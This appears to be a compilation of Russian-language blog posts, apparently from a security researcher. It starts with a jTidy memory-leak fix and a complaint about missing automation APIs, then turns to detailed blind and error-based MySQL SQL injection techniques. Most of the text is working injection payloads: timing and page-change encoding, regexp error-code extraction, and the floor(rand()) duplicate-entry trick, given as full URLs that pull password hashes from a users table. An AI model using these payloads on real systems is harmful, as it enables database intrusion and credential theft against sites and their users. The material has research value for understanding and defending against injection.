З.Ы.
Для входа на форум нажмите на красный кружок в центре экрана, либо по ссылке: https://rdot.org/forum/ .

Эта библиотека нужна для того, чтобы переводить невалидный HTML в валидный XHTML (который вполне соответствует стандарту XML). Дальше из полученного XHTML документа, при помощи XPath получаю нужные мне элементы. Это удобнее, чем разбирать документ при помощи регекспов, хотя и накладнее по памяти.

В общем, столкнулся я с проблемой, приложение падает с java.lang.OutOfMemoryError примерно через 3-4 часа работы. Сходу проблему обнаружить не удалось, пришлось запускать профайлер (в моём случае YourKit). Увидел такю картину:

Как видим, за 30 минут потребление памяти выросло до невероятных размеров.

Посмотрим кто отъедает больше всего памяти:

Как видим 89% памяти потребляет jTidy. Причём принудительный вызов сборщика мусора ничем не помогает, потребление памти как росло так и растёт.

В исходные коды мне лезть было лень, но как мне кажется наверняка библиотека при каждом вызове метода parseDom складывает ноды в какой нибудь внутренний список, а потом этот список забывает отчищать, или пересоздавать (к примеру при следующем вызове parseDom). А значит и ссылки на эти объекты существуюют вечно и их количество накапливается.

Первый вариант решения проблемы, который пришёл в голову – периодически перед использованием пересоздавать объект класса Tidy, который и используется для преобразования документов. (Время разботы для меня несущественно, и так перед обращениями к серверу приходится делать задержку)

Фиксим, во время работы приложения принудительно вызываем сборщик мусора и видим перелом на диаграмме, а значит память очищается нормально, и вечно-живущих ссылок больше не остаётся:

1) Нет возможности позволить роботу тратить деньги с твоего кошелька. Для доступа к интерфейсу X2 у Webmoney требуется ввести URL, описание проекта, и три дня ждать разрешения. То есть нельзя просто так позволить моему боту покупать на мои же деньги услуги в сети. К примеру я бы хотел автоматически регистрировать доменные имена, и покупать сервера.
2) Нет ни одного хостинга/регистратора предоставляющего вебсервис с открытым API, для регистрации доменов/покупки серверов, хотя технически это очень и очень легко организовать. (Как вариант – регистрируешься, кладёшь деньги на счёт, затем пока есть деньги на счету бот может регистрировать домены).
3) Сеошные сервисы типа SAPE, которые всё же предоставляют API, так же предоставляют его в сильно урезанном виде, т.е. есть возможность смотреть статистику и прочую информацию, но нет возможности автоматически добавить сайт в систему, автоматически поменять цены в системе и прочее и прочее. (UPD: Дописал заметку и нашёл расширенную версию API от сапы)
4) При использовании Яндекс.XML, для проверки индексации, так же нужно дополнительно фиксировать IP адрес + количество запросов к серверу ограничено.

В итоге для обхода подобных проблем (кроме случая с вебмани), приходится эмулировать действия пользователя и парсить полученные результаты. Но и тут всё по старому, так как за прошедшие девять лет, стандарт XHTML никто толком и не поддерживает (да и HTML у большинства такой же невалидный, как и десять лет назад).

В общем, боятся люди автоматизации, почём зря..

Допустим у нас есть слепая скуля (но такая, что хоть какой-то вывод возможен), на что можем влиять:

страничка:
1) страница приходит в обычном состоянии (false)
2) страница приходит изменённой (true)
ответ от сервера:
1) пришёл сразу (false)
2) пришёл с задержкой (true)

Таким образом, влияя на эти 2 параметра, можно задать 4 состояния

Делаем вот что:
1) Берём алфавит (допустим 0123456789abcdef), и делим его на 4 группы (0123),(4567),(89ab),(cdef).
2) Составляем табличку истинности:

№|A|B
_|_|_
1|0|0
2|0|1
3|1|0
4|1|1

где:
№ – номер группы к которой принадлежит данный символ,
A – изменить ответ или нет
B – включать бенчмарк или нет

3) Вычисляем при помощи find_in_set номер группы к которой принадлежит данный символ, кодируем его согласно таблице выше
4) на клиенте получаем группу символов, в качестве алфавита уже берём только её и идём на шаг 1.

Т.е. для хеша md5 на каждый символ потребуется 2 запроса. (По теории вероятности бенчмарк сработает лишь на половине из них, т.е. в принципе работать должно быстро)

Теперь практика.

Запрос, к БД реализующий логику (на примере MySQL):

SELECT id, title, date FROM news WHERE id=-1 UNION SELECT 1,2,concat(
 @ch:=substring((SELECT value FROM test1 WHERE id=1),1,1),
 @a:=find_in_set(@ch,'a,b,c,d'),
 @b:=find_in_set(@ch,'e,f,1,2'),
 @c:=find_in_set(@ch,'3,4,5,6'),
 @d:=find_in_set(@ch,'7,8,9,0'), 
 IF(@a>0,1,
  IF(@b>0,(SELECT 1 UNION SELECT 2),
   IF(@c>0,benchmark(1500000,md5(1)),
    IF(@d>0,IF(benchmark(1500000,md5(1)), 100, (SELECT 3 UNION SELECT 4)),-1)
   )
  )
 ))
FROM test1 -- 1

Думаю всё тут ясно, единственное я использовал concat чтобы весь мусор сложить в одну ячейку и SQL не жаловался на неправильное количество столбцов + в 4м случае засунул benchmark в if, чтобы ошибка появилась только после его выполнения. (Это первое что пришло в голову, может есть методы лучше)

Скрипт дёргающий хеш по этому алгоритму: скачать.

В примере алфавит задан статически, дёргается только 16 символов, а не 32, также очень высокое значение бенчмарка (для точности тестов, хотя уменьшив значения в 2 раза, вывод остался корректным) и неэлегантно написаный код. Ясно что для практического использования его нужно модифицировать + BENCHMARK заменить на SLEEP, если версия БД позволяет.

З.Ы.
Ну и что касается практики – метод в общем случае работает дольше чем при обычном бинарном поиске, хоть и отправляет меньше запросов. Так же очевидно то, что провоцировать ошибку совершенно не обязательно, достаточно вернуть любой другой ID.

Итак, поехали:

При работе MySQL выдаёт два типа ошибок: ошибки синтаксиса, которые можно отловить на этапе разбора строки и ошибки рантайма (времени выполнения) – те, которые можно выявить только во время выполнения запроса.

Типичной ошибкой синтаксиса является, к примеру ошибка:
ERROR 1146 (42S02): Table ‘lalala’ doesn’t exist
Наиболее известной в хакерской среде ошибкой времени выполнения является ошибка:
ERROR 1242: Subquery returns more than 1 row

И их принципиальное отличие заключается в том, что первая ошибка появится в любом случае, если в строке запроса встретится имя несуществующей таблицы, а вторая появится только если в результате выполнения какого либо подзапросе вернётся несколько строк.

То есть, запрос:
SELECT if(version()=4,1,(select 1 from NO_SUCH_TABLE)); – вернёт ошибку независимо от того, какая версия MySQL.
А запрос:
SELECT if(version()=4,1,(select 1 union select 2)); – вернёт ошибку только в том случае, если версия БД отличается от четвёртой.

В своё время Elekt опубликовал статью, в которой предлагал, при эксплуатации слепой SQL инъекции, использовать бинарный поиск в сочетании с тем самым запросом (select 1 union select 2), возвращающим ошибку Subquery returns more than 1 row. Идея замечательная, и пример её реализации описан выше.

И вполне очевидно, что для дальнейшего развития этого метода нужно найти ещё как можно больше ошибок времени выполнения.

ZaCo привёл пример:
«x» regexp concat(»x{1,25″, if(@@version<>5, «5}», «6}»))
Если версия MySQL не пятая, то подзапрос вернёт ошибку:
#1139 – Got error ‘invalid repetition count(s)’ from regexp.
иначе запрос выполнится нормально.

Если порыться в исходниках MySQL, то увидим что встроенный парсер regexp может вернуть ещё 9 видов ошибок, в сочетании с ошибками которые мы уже знаем, и состоянием когда ошибки нет, получаем список запросов и возвращаемых ими ошибок:

SELECT 1
No error

select 1 regexp if(1=1,’\\’,2)
#1139 – Got error ‘trailing backslash (\)’ from regexp

Теперь составим запрос, возвращающий различные виды ошибок в зависимости от значения символа хранящегося в базе. Например у нас в базе лежит md5 хеш пароля.

Распределим возможные символы md5 хеша по 12 возможным состояниям:

[00]: ‘0′,’c',’d',’e',’f’
[01]: ‘1′
[02]: ‘2′
[03]: ‘3′
[04]: ‘4′
[05]: ‘5′
[06]: ‘6′
[07]: ‘7′
[08]: ‘8′
[09]: ‘9′
[10]: ‘a’
[11]: ‘b’

Теперь при помощи функции find_in_set() можно определить в какой группе символов находится интересующий нас символ из базы данных. Если символом в базе данных является символ ‘1′-’9′,’a',’b', то он определится по коду ошибки с первого раза, если символ в группе ‘0′,’c',’d',’e',’f’ то потребуется послать второй запрос, чтобы определить какой конкретно символ лежит в базе.

Пример полного запроса для алфавита [a-z,A-Z,0-9]:

sql.php?id=1+AND+»x»+regexp+concat(»x{1,25″,+(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),’0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7,8,9′),
(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),’0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7,8′),
(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),’0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7′),
(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),’0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6′),
(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),’0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z’),
(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),’0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y’),
(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),’0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O’),
(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),’0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E’),
(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),’0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u’),
(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),’0,b,c,d,e,f,g,h,i,j,k’),(’}'),
(select+1+union+select+2))),
‘}x{1,0}’)),
‘}x{1,(’)),
‘}[[:]]’)),
‘}[[')),
'}(({1}')),
'}(')),
'}[2-1]‘)),
‘}[[.ch.]]’)),
‘}\\’)))
+–+1

Затем по коду возвращаемой ошибки можно определить искомый символ в базе данных.

Возможно более понятные объяснения метода можно найти:
1) На античате: тынц. Там же кстати есть и рабочий скрипт для описанного выше метода.
2) В журнале Хакер: тынц
3) В презентации Дмитрия Евтеева: тынц.

Затем Дмитрием Евтеевым была продемонстрирована схожая методика основанная на использовании функции ExtractValue(), которая доступна начиная с MySQL 5.1.5.

В итоге получаем неплохое покрытие для MySQL 5й ветки. Для 4й ветки пока схожего варианта не было.

В связи с открытием блога, достаю из недр античата ещё один обнаруженный мной метод, который работает для MySQL всех версий начиная с 4.1 .

Скрипт для теста:

<?php
 mysql_connect("localhost", "root", "");
 mysql_select_db ('test');
 
 $rz = mysql_query ("select count(*),concat(version(),floor(rand()*2)) x from users group by x;") or die (mysql_error());
?>

Запускаем несколько раз (!!!) и с далеко ненулевой вероятностью ловим ошибку типа:
Duplicate entry ‘5.0.45-community-nt1′ for key 1
Duplicate entry ‘5.0.45-community-nt0′ for key 1

Пример использования в скуле:

http://localhost/sql.php?id=1+UNION+select+1,count(*),concat((select pass from users limit 1),0x3a,floor(rand()*2))+x+from+users+group+by+x

Результат: Duplicate entry ‘1bc29b36f623ba82aaf6724fd3b16718:1′ for key 1

Вариант запуска без подбора колонок (Можно использовать только <,> и !=, символ = не прокатит):

http://localhost/sql.php?id=1'+and+row(1,1)>(select+count(*),concat((select+pass+from+users+limit+1),0x3a,floor(rand()*2))+x+from+users+group+by+x+limit+1)+--+1

Особенности:

1) Работает на всех ветках, проверял на 4, 5.0, 5.1 .
2) Когда в таблице из которой надо дёрнуть информацию, находится только одна строка, надо делать так:

sql.php?id=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2)) x from (select 1 union select 2)a group by x limit 1) -- 1

или так:

sql.php?id=1 union select 1,2,passwd from users where id=1 and row(1,1)>(select count(*),concat( (select users.passwd) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- 1

Может быть попробую перевести в более удобоваримую форму.

P.S.
Скриншот консоли, первые 3 раза запрос отработал, на 4й упал как надо: смотреть